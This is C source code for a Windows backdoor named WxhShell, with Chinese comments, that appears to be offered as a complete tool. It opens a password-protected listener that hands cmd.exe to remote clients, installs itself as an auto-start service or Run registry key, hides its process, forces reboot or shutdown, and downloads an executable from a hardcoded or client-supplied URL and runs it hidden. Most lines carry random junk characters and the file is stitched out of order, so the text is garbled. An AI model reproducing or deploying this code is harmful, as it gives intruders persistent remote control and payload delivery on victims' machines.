    if(Boot(SHUTDOWN)) zirnur1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {$)pkhJ  
    else { r[RO"Ej"  
    closesocket(wsh); MHAWnH8  
    ExitThread(0); /7yd&6`I  
    } 1Et{lrgh f  
    break; Y .\<P*iO  
    } # l-/!j  
  // 获取shell >d5L4&r  
  case 's': { Mg=R**s1x%  
    CmdShell(wsh); _ }:#T8h  
    closesocket(wsh); ??=su.b  
    ExitThread(0); ak]H|D" 9  
    break; h v/+  
  } dmUa\1g#  
  // 退出 z%Ivc*x5  
  case 'x': { $1;@@LSw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R(<_p"9(  
    CloseIt(wsh); }i@%$Ixsn  
    break; Gque@u  
    } $h8,QPy  
  // 离开 RWINdJZ  
  case 'q': { ~M LBO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wTPHc:2  
    closesocket(wsh); pJ H@v &a  
    WSACleanup(); EF[I@voc  
    exit(1); ;@G5s+<l  
    break; -)Y[t Z^*`  
        } m$bDWxm#e  
  } q;H5S<]/  
  } QVPJ$~x  
@[w.!GW%  
  // 提示信息 L|K^w *\C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,U#FtOec  
} &L4>w.b"N  
  } IltU6=]"l  
I vD M2q8f  
  return; C+X- Cp  
} a qIpO  
fGMuml?[ e  
// shell模块句柄 8PwPI%Pb  
int CmdShell(SOCKET sock) B5 H=#  
{ Gjo&~*;  
STARTUPINFO si; 73>Hzpv0  
ZeroMemory(&si,sizeof(si)); anxwK47  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gtw?u b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } {<L<  
PROCESS_INFORMATION ProcessInfo; b<"LUM*;  
char cmdline[]="cmd"; xm bFJUMH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H|/U0;s  
  return 0; C{P:1ELYXH  
} tboc7Hor4  
cux<7#6af  
// 自身启动模式 /[#5<;  
int StartFromService(void) f,QBj{M,  
{ K1[(% <Gp  
typedef struct +n&9ZC H  
{ &)#bdt[  
  DWORD ExitStatus; `} :~,E  
  DWORD PebBaseAddress; o1]ZeF  
  DWORD AffinityMask; rv;is=#1  
  DWORD BasePriority; >XK |jPK  
  ULONG UniqueProcessId; R1NwtnS  
  ULONG InheritedFromUniqueProcessId; I18<brZJ  
}   PROCESS_BASIC_INFORMATION; UZb!tO2  
;}E$>]*Yn  
PROCNTQSIP NtQueryInformationProcess; L|A.;Gq  
h;S?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Spt;m0W90  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; );oE^3]f  
G "`t$=0  
  HANDLE             hProcess; N/i {j.=  
  PROCESS_BASIC_INFORMATION pbi; dId&tTMmC  
;LE9w^>^V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~e#QAaXD#5  
  if(NULL == hInst ) return 0; Ki(  
diDB>W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =Xh*w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &n-)Alx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); APM!xX=N  
JPGEE1!B{b  
  if (!NtQueryInformationProcess) return 0; @'fWS^ ;&  
\:|"qk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Wl`8p4]  
  if(!hProcess) return 0; d<+@cf_9  
Os"T,`F2s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /XZ\Yy=  
DfV'1s4y  
  CloseHandle(hProcess); ePxwN?  
`d6,]'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X>kW)c4{b  
if(hProcess==NULL) return 0; _5&LV2  
[[gfR'79{  
HMODULE hMod; b5.L== >  
char procName[255]; ".:]? Lvt  
unsigned long cbNeeded; +#MQ8d  
Xl\yOMfp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mj _ V6`m4  
]#t5e>o|  
  CloseHandle(hProcess); $mLiEsJ  
m?_@.O@]  
if(strstr(procName,"services")) return 1; // 以服务启动 hsZ}FLStJ  
}j6<S-s~  
  return 0; // 注册表启动 UgAG2  
} =]<JkWSk  
$3D#U^7i  
// 主模块 >C"QV `+  
int StartWxhshell(LPSTR lpCmdLine) ~zD*=h2C  
{ z1`z k0  
  SOCKET wsl; B#Z-kFn@  
BOOL val=TRUE; A.@Af+  
  int port=0; W9%B9~\G;+  
  struct sockaddr_in door; PHHX)xK  
CY i{WV(:  
  if(wscfg.ws_autoins) Install(); |cd=7[B  
8j<+ ' R  
port=atoi(lpCmdLine); StWF66u34&  
IWD21lS  
if(port<=0) port=wscfg.ws_port; +KKx\m*  
!-Br?  
  WSADATA data; Ad]oM]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Oxq} dX7S  
[V_?`M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DA -W =Cc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zk#?.z}  
  door.sin_family = AF_INET; ;?'=*+'>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N>3X!K  
  door.sin_port = htons(port); 08JVX'X-mr  
6h_OxO&!U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _mSQ>BBRl  
closesocket(wsl); z~+gche>  
return 1; Owz.C_{)  
} jYi{[* *  
0&k!=gj:>Z  
  if(listen(wsl,2) == INVALID_SOCKET) { sM8AORd  
closesocket(wsl); $bv l.c  
return 1; TSCc=c  
} !ii'hwFm$  
  Wxhshell(wsl); L.M|o  
  WSACleanup(); ^vH3 -A;*  
#m<<]L(o8W  
return 0; oy!Dm4F  
Q0cr^24/  
} %B{NH~  
byUz  
// 以NT服务方式启动 M$Of.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N>J"^GX  
{ QC\][I>  
DWORD   status = 0; |+0XO?,sZ  
  DWORD   specificError = 0xfffffff; xHMbtY  
; 3WA-nn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;uazQyo6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qy+&N*k>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]{<`W5 b/  
  serviceStatus.dwWin32ExitCode     = 0; w 9mi2=  
  serviceStatus.dwServiceSpecificExitCode = 0; P,[O32i#  
  serviceStatus.dwCheckPoint       = 0; CL-mt5Kx#7  
  serviceStatus.dwWaitHint       = 0; s s*% 3<  
+#c3Y ;JP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Y9xHn&  
  if (hServiceStatusHandle==0) return; '~ {xn  
Wqu][Wa[Z  
status = GetLastError(); h^D]@H  
  if (status!=NO_ERROR) -b4#/q+bb+  
{ 1E*No1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8,,$C7"EP  
    serviceStatus.dwCheckPoint       = 0; 2AAZZx +$  
    serviceStatus.dwWaitHint       = 0; V~uH)IMkh7  
    serviceStatus.dwWin32ExitCode     = status; fb8t9sAI  
    serviceStatus.dwServiceSpecificExitCode = specificError; <6s?M1J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E.kjYIH8  
    return; BF_R8H,<%  
  } s=+,F<;x.U  
9N[PZD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eL-9fld /n  
  serviceStatus.dwCheckPoint       = 0; b$f@.L  
  serviceStatus.dwWaitHint       = 0; Qv%"iSe~J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G' ~Z'  
} -];/*nl  
R N1q/H|  
// 处理NT服务事件,比如:启动、停止 Z. ))=w6G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \tj7Jy  
{ ,{HxX0  
switch(fdwControl) ) /kf  
{ Gyak?.@R  
case SERVICE_CONTROL_STOP: /R@,c B=  
  serviceStatus.dwWin32ExitCode = 0; +ou ]|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *Op;].>E  
  serviceStatus.dwCheckPoint   = 0; Awo H d7M  
  serviceStatus.dwWaitHint     = 0; G`B e~NU  
  { ^T[8j/9o^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?mJNzHrq;  
  } =kz(1Pb  
  return; 2g elmQnc  
case SERVICE_CONTROL_PAUSE: ad "yo=%1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s4@dEK8W  
  break; v2e*mNK5  
case SERVICE_CONTROL_CONTINUE: T[}A7a6g_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _;G. QwHr  
  break; P8N`t&r"7  
case SERVICE_CONTROL_INTERROGATE: N02X*NC  
  break; la7VeFT  
}; j@xerY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QxRT%;'Zh]  
} /DG+8u  
)[d?&GK  
// 标准应用程序主函数 ^ lrq`1k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Ut*Y*  
{ 39p&M"Yo  
!}Sf?n P#  
// 获取操作系统版本 nRYHp7`  
OsIsNt=GetOsVer(); p^|IN'lx,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4K_rL{s0U  
S]E1+,-*  
  // 从命令行安装 e6E{l  
  if(strpbrk(lpCmdLine,"iI")) Install(); A"(XrL-pV  
D00I!D16  
  // 下载执行文件 .TcsXYL.`,  
if(wscfg.ws_downexe) { Aofk<O!M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0p"l}Fu@`  
  WinExec(wscfg.ws_filenam,SW_HIDE); \J*~AT~5q  
} {}r#s>  
kD&% 7Vz  
if(!OsIsNt) { X$aN:!1  
// 如果时win9x,隐藏进程并且设置为注册表启动 SG:Fn8  
HideProc(); \ 5MD1r}  
StartWxhshell(lpCmdLine); Y?ADM(j  
} h(q,-')l_  
else ]mDsd*1  
  if(StartFromService()) [BPK0  
  // 以服务方式启动 `w&Y[8+E  
  StartServiceCtrlDispatcher(DispatchTable); {y5v"GR{YM  
else d']CBoK  
  // 普通方式启动 &J>XKO nl  
  StartWxhshell(lpCmdLine); IUB#Vdx  
\"L ;Ct 8  
return 0; G~z=,72  
} PxuE(n V[  
>K|<hzZ  
v[k;R  
OvL@@SX |  
=========================================== ]H ze  
MHl ffj  
MR=dQc  
T0:%,o  
JQi+y;  
pr\wI?:k  
" A_h|f5  
xIOYwVC  
#include <stdio.h> WruSL|4iH  
#include <string.h> p$5uS=:4`8  
#include <windows.h> LS"_-4I}  
#include <winsock2.h> ^{<!pvT  
#include <winsvc.h> B^7B-RBi0  
#include <urlmon.h> %4bGI/\/  
,,FO6+4f  
#pragma comment (lib, "Ws2_32.lib") m`;dFL7"E  
#pragma comment (lib, "urlmon.lib") ~J~@mE2ks  
B//2R)HS  
#define MAX_USER   100 // 最大客户端连接数 $,b1`*  
#define BUF_SOCK   200 // sock buffer ec8 iZ8h8  
#define KEY_BUFF   255 // 输入 buffer n]%T>\gw  
u&M:w5EM  
#define REBOOT     0   // 重启 +69[06F  
#define SHUTDOWN   1   // 关机 g!QX#_~Il  
g-C)y 06  
#define DEF_PORT   5000 // 监听端口 =pT}]  
A$JL"~R  
#define REG_LEN     16   // 注册表键长度 *#n#J[  
#define SVC_LEN     80   // NT服务名长度 z9}WP$W  
h!~Qyb>W  
// 从dll定义API u5'jIqlU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{CCZ"Fv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a< E\9DL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TPBL|^3K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &.v|yG]&  
d`w3I`P1  
// wxhshell配置信息 <MQTOz oj  
struct WSCFG { w/1Os!p  
  int ws_port;         // 监听端口 RJ+["[k  
  char ws_passstr[REG_LEN]; // 口令 ["u:_2!4P  
  int ws_autoins;       // 安装标记, 1=yes 0=no )yTBtYw3  
  char ws_regname[REG_LEN]; // 注册表键名 a_T3<  
  char ws_svcname[REG_LEN]; // 服务名 EGL7z`nt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K,f"Q<sU%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BJDSk#!J!{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E,}(jAq7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {qJ(55  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U =i=E}'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v =]!Po&Q-  
#dj,=^1_14  
}; 1sIPhOIys  
-;Ij ,  
// default Wxhshell configuration nB9(y4  
struct WSCFG wscfg={DEF_PORT, PK&\pkX  
    "xuhuanlingzhe", %7v!aJ40  
    1, Hp(wR'(g&  
    "Wxhshell", (:|rCZC  
    "Wxhshell", yEPkF0?  
            "WxhShell Service", =JGL~t?  
    "Wrsky Windows CmdShell Service", 8-s7s!j  
    "Please Input Your Password: ", 0% zy 6{  
  1, ~7$jW[i  
  "http://www.wrsky.com/wxhshell.exe", cna/?V  
  "Wxhshell.exe" PLueH/gC.  
    }; C~X"ZW:d[  
~vscATQ  
// 消息定义模块 kKs}E| T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9YvK<i&I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2hf7F";Af  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w!rw%  
char *msg_ws_ext="\n\rExit."; s?7"iE  
char *msg_ws_end="\n\rQuit."; r!&}4lHYi  
char *msg_ws_boot="\n\rReboot..."; Ve[[J"ze  
char *msg_ws_poff="\n\rShutdown..."; &Vy.)0  
char *msg_ws_down="\n\rSave to "; DR(/|?k+  
uhvn1"  
char *msg_ws_err="\n\rErr!"; `6\u!#  
char *msg_ws_ok="\n\rOK!"; y41~  
V|vXxWm/  
char ExeFile[MAX_PATH]; B'hN3.  
int nUser = 0; h'"~t#r  
HANDLE handles[MAX_USER]; 6FFM-9*|[  
int OsIsNt; oR~s \Gt  
eZ|_wB'r  
SERVICE_STATUS       serviceStatus; .W51Cup@&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6$&%z Eh  
j_0xE;g"]  
// 函数声明 {.r #j|  
int Install(void); \ch4c9  
int Uninstall(void); CE7{>pl  
int DownloadFile(char *sURL, SOCKET wsh); ?D+H2[n\a  
int Boot(int flag); ^[.Z~>3!\q  
void HideProc(void); jGEmf<q&u  
int GetOsVer(void); cuh Z_l  
int Wxhshell(SOCKET wsl); ]Q -.Y-J/O  
void TalkWithClient(void *cs); er.;qV'Wz6  
int CmdShell(SOCKET sock); 9.wZhcqqU  
int StartFromService(void); w3FEX$`_  
int StartWxhshell(LPSTR lpCmdLine); 3oM&#a  
v,jB(B^|Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v9 8s78  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4k)0OQeW6  
KvumU>c#A  
// 数据结构和表定义 kC iOcl*$  
SERVICE_TABLE_ENTRY DispatchTable[] = 5s:g(gy3BR  
{ vlo!D9zsV3  
{wscfg.ws_svcname, NTServiceMain}, d0YQLh  
{NULL, NULL} 9>/:c\q+  
}; rw#?NI:  
xTy)qN]P  
// 自我安装 1IN^,A]r2h  
int Install(void) "DSRyD0M  
{ < 49\B  
  char svExeFile[MAX_PATH]; `V{'GF&[  
  HKEY key; KeWIC,kq  
  strcpy(svExeFile,ExeFile); Je~`{n  
zKQXmyO  
// 如果是win9x系统,修改注册表设为自启动 >NZJ-:t  
if(!OsIsNt) { {j%7/T{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }tbZ[:T{K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FSb4RuD9  
  RegCloseKey(key); Hm]\.ZEy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *l)}o4-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O+=C8  
  RegCloseKey(key);  AtP!.p"j  
  return 0; Y{<SD-ibZ$  
    } C~"b-T  
  } V1\Rj0#G  
} aK--D2@}i  
else { ]~9YRVeC  
}Io5&ww:U  
// 如果是NT以上系统,安装为系统服务 yK0iW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l8+;)2p!  
if (schSCManager!=0) hlGrnL  
{ c"pu"t@/Z  
  SC_HANDLE schService = CreateService x<=R?4@rq  
  ( (f   
  schSCManager, qsdgG1<  
  wscfg.ws_svcname, Y``]66\Fp  
  wscfg.ws_svcdisp, BO'7c1FU  
  SERVICE_ALL_ACCESS, z)%]# QO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Amv:dh  
  SERVICE_AUTO_START, newURb,-!  
  SERVICE_ERROR_NORMAL, WT:ZT$W  
  svExeFile, #pk  
  NULL, /-Nq DRmJ  
  NULL, )F4BVPI  
  NULL, y0,>_MS  
  NULL, GxA[N  
  NULL `W2 o~r*&  
  ); 4oN*J +"=+  
  if (schService!=0) j>#ywh*A  
  { 2!GyQ@&[W  
  CloseServiceHandle(schService); C;']FmK]  
  CloseServiceHandle(schSCManager); 41I2t(H @z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -GYJ)f  
  strcat(svExeFile,wscfg.ws_svcname); 0}WDB_L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B4x@{rtER  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HH|N~pBJB  
  RegCloseKey(key); K6N+0#  
  return 0; 6)_h'v<|M  
    } .Xk#Cwm'  
  } sU"sd7#A  
  CloseServiceHandle(schSCManager); '?d5L+9  
} VCa`|S?2  
} :\~YbA  
.yQ<  
return 1; K,dEa<p  
} %Q zk aXJ  
S.!K  
// 自我卸载 ~{ l @  
int Uninstall(void) r;GAQH}j_  
{ S+GW}?!  
  HKEY key; qEfg-`*M  
A}_0iwG  
if(!OsIsNt) { pI( H7 (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x| r#  
  RegDeleteValue(key,wscfg.ws_regname); .@ @&q4= &  
  RegCloseKey(key); u^( s0q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yv\ j&B|  
  RegDeleteValue(key,wscfg.ws_regname); e)aH7Jj#  
  RegCloseKey(key); S0?e/VWy  
  return 0; pet q6)g?  
  } |l:,EA_v|  
} q>[}JtXK  
} wQojmmQ  
else { {VKP&{~O  
`: 9n ]xP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gk!CU"`sP  
if (schSCManager!=0) .cB>ab&  
{ spma\,o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AA[?a  
  if (schService!=0) rS_pv=0S  
  { }ni@]k#q<  
  if(DeleteService(schService)!=0) { 8$38>cGY^  
  CloseServiceHandle(schService); ORFi0gFbA  
  CloseServiceHandle(schSCManager); q0(-"}2l  
  return 0; P7*?E*   
  } &;%, Axc  
  CloseServiceHandle(schService); ]Ryg}DOQ  
  } RSIhZYA  
  CloseServiceHandle(schSCManager); `Wp y6o  
} L6J.^tpO  
} s"(F({J  
"O8iO!:  
return 1; T 2Gscey  
} I|_U|H!`  
DiSU\?N2'  
// 从指定url下载文件 ~>rn q7j  
int DownloadFile(char *sURL, SOCKET wsh) A#nSK#wS61  
{ .cs4AWml<  
  HRESULT hr; T*](oA@  
char seps[]= "/"; u >[hLXuB  
char *token; vue=K  
char *file; jk1mP6'P|  
char myURL[MAX_PATH]; y~Vl0f;  
char myFILE[MAX_PATH]; /<CgSW}  
S&MF; E6  
strcpy(myURL,sURL); T.q7~ba*  
  token=strtok(myURL,seps); d%#5roR4<  
  while(token!=NULL) #fq&yjl#A  
  { 7&1 dr  
    file=token; AP0z~e  
  token=strtok(NULL,seps); 3mT6HGSKR  
  } !~te&ccPE  
>!% +)  
GetCurrentDirectory(MAX_PATH,myFILE); h:4F?'W  
strcat(myFILE, "\\"); JF(&+\i<p  
strcat(myFILE, file); '(SqHP|8&g  
  send(wsh,myFILE,strlen(myFILE),0); fPab%>/T{  
send(wsh,"...",3,0); N==Y]Z$G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "2hs=^&8  
  if(hr==S_OK) }W nvz;]B  
return 0; &cT@MV5  
else #F ;@Qi3z  
return 1; +%)bd  
lj@ ibA]  
} k<k@Tlo  
y hNy  
// 系统电源模块 %D E_kwL  
int Boot(int flag) ~) vz`bD1  
{ /N=M9i\;  
  HANDLE hToken; +H "j-:E@t  
  TOKEN_PRIVILEGES tkp; lnt}l  
Wqas1yL_  
  if(OsIsNt) { dd!Q[]$ }  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )\QPUdOvx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V~S(cO[vj  
    tkp.PrivilegeCount = 1; 1_5]3+r_U-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M+Eg{^ q`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @K}Bll.E  
if(flag==REBOOT) { I Ab-O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RpU.v `  
  return 0; j&Y{ CFuZ  
} xGt>X77  
else { `0Xs!f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |^ J5YwCf  
  return 0; k:*vD"  
} J6g:.jsK!  
  } uX~YDy  
  else { <E\vc6n  
if(flag==REBOOT) { N.q0D5 :  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RBV*e9P%  
  return 0; O*m9qF<  
} :p.f zL6X  
else { 1|oE3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4[n[Ch=lu  
  return 0; k5eTfaxl  
} </23*n]  
} H<ZXe!q(nx  
aHBM9%gV  
return 1; mjJ/rx{kbw  
} IZ9* '0Z  
p9j2jb,qy  
// win9x进程隐藏模块 z9ZS& =>  
void HideProc(void) k;pU8y6Y  
{ u^+ (5|  
x)-n[Fu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e/F+Tf  
  if ( hKernel != NULL ) nVGWJ3  
  { aIklAj)=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eNFZD1mS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `a]feAl  
    FreeLibrary(hKernel); &ej |DM6  
  } :0(:}V3z\  
\v p^[,SI  
return; y.?Q  
} K#a_7/!v/  
G[\3)@I  
// 获取操作系统版本 . /~#  
int GetOsVer(void) RbJbVFz8C  
{ !E_RD,_  
  OSVERSIONINFO winfo; _>i<`k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); );L+)UV  
  GetVersionEx(&winfo); tnFhL&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bVYsPS  
  return 1; 1 eMaKT_=  
  else 2hE+Om^n  
  return 0; ?CZ*MMV  
} y\}<N6  
& 6~AY :0r  
// 客户端句柄模块 S")*~)N@  
int Wxhshell(SOCKET wsl) &1ss @-  
{ jjJ l\Vn  
  SOCKET wsh; A3zO&4f ]  
  struct sockaddr_in client;  7K &j  
  DWORD myID; *;<>@*  
bTc'E#  
  while(nUser<MAX_USER) Fn*)!,)  
{ fg~9{1B  
  int nSize=sizeof(client); JsbH'l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); # {|F2AM  
  if(wsh==INVALID_SOCKET) return 1; 1iIag}?p  
M;1B}x@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >y^zagC*  
if(handles[nUser]==0) =.f<"P51k  
  closesocket(wsh);  iT&Y9  
else VU(#5X%Pn  
  nUser++; {^SHIL  
  } eVujur$P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (S k+nD  
MU5#ph  
  return 0; ]6TX)1  
} s14;\  
C4 @"@kbr  
// 关闭 socket i`HXBq!|w  
void CloseIt(SOCKET wsh) p_l.a  
{ Kgu#M i~  
closesocket(wsh); yZ57uz  
nUser--; Ikj_ 0/%F  
ExitThread(0); ro*$OLc/  
} ICB'?yZ,  
{_1zIt|  
// 客户端请求句柄 CAV Q[r5y  
void TalkWithClient(void *cs) JBvP {5  
{ Pg/$ N5->  
34Z$a{ w  
  SOCKET wsh=(SOCKET)cs; 0w<qj T^U  
  char pwd[SVC_LEN]; !ie'}|c  
  char cmd[KEY_BUFF]; vqnFyd   
char chr[1]; CXfPC[o  
int i,j; E HY}gG)  
r-k,4Yz  
  while (nUser < MAX_USER) { $Hbd:1%i {  
<zE~N~;  
if(wscfg.ws_passstr) { &Eqa y'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WnZn$N.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IL2OVLX  
  //ZeroMemory(pwd,KEY_BUFF); z'd*z[L~  
      i=0; @&LtIN#  
  while(i<SVC_LEN) { ]@bu%_s"  
;H:+w\?8f$  
  // 设置超时 VUE6M\&z>  
  fd_set FdRead; &fu J%  
  struct timeval TimeOut; yM-3nwk  
  FD_ZERO(&FdRead); }m0hq+p^  
  FD_SET(wsh,&FdRead); _ BUD~'Q5  
  TimeOut.tv_sec=8; ( [m[<  
  TimeOut.tv_usec=0; FeAMt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o$,Dh?l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #X?#v7i",D  
bEc @"^)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  y+.E}  
  pwd=chr[0]; Ko|p&-Z;  
  if(chr[0]==0xd || chr[0]==0xa) { voAen&>!  
  pwd=0; n:d7 Tv1Z8  
  break; iS%md  
  } ]t|-  
  i++; Udbz;^(  
    } )@OKL0t  
xp<p(y8e1d  
  // 如果是非法用户,关闭 socket eED@Z/~6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G8E=E<Yg~  
} :P1/kYg  
Sx^4Y\\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hg}@2n)/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d/4kF  
5o dtYI%L  
while(1) { ,*Z:a 4  
-WX{ y Ci  
  ZeroMemory(cmd,KEY_BUFF); YPY'[j(p`n  
bBC!fh!L"  
      // 自动支持客户端 telnet标准   BDCFToSf|  
  j=0; LG qg0 (  
  while(j<KEY_BUFF) { 6%&RDrn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cA8"Ft{P)  
  cmd[j]=chr[0]; yF#:*Vz>  
  if(chr[0]==0xa || chr[0]==0xd) { c[xH:$G?Y  
  cmd[j]=0; $_P*Bk)  
  break; R#QcQx  
  } :',Q6j(s  
  j++; EFYyr f@  
    } 4Nx]*\\  
V9"?}cR/W;  
  // 下载文件 b&$sY!iU  
  if(strstr(cmd,"http://")) { ZTwCFn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  h'_@  
  if(DownloadFile(cmd,wsh)) ;| :^zo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c!{]Z_d\  
  else lVmm`q6n9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ct3^V M&/  
  } G2{.Ew  
  else { )|`# BC  
v_zVhE tY  
    switch(cmd[0]) { *&\fBi]  
  _Zq2 <:  
  // 帮助 Po=@ 6oB  
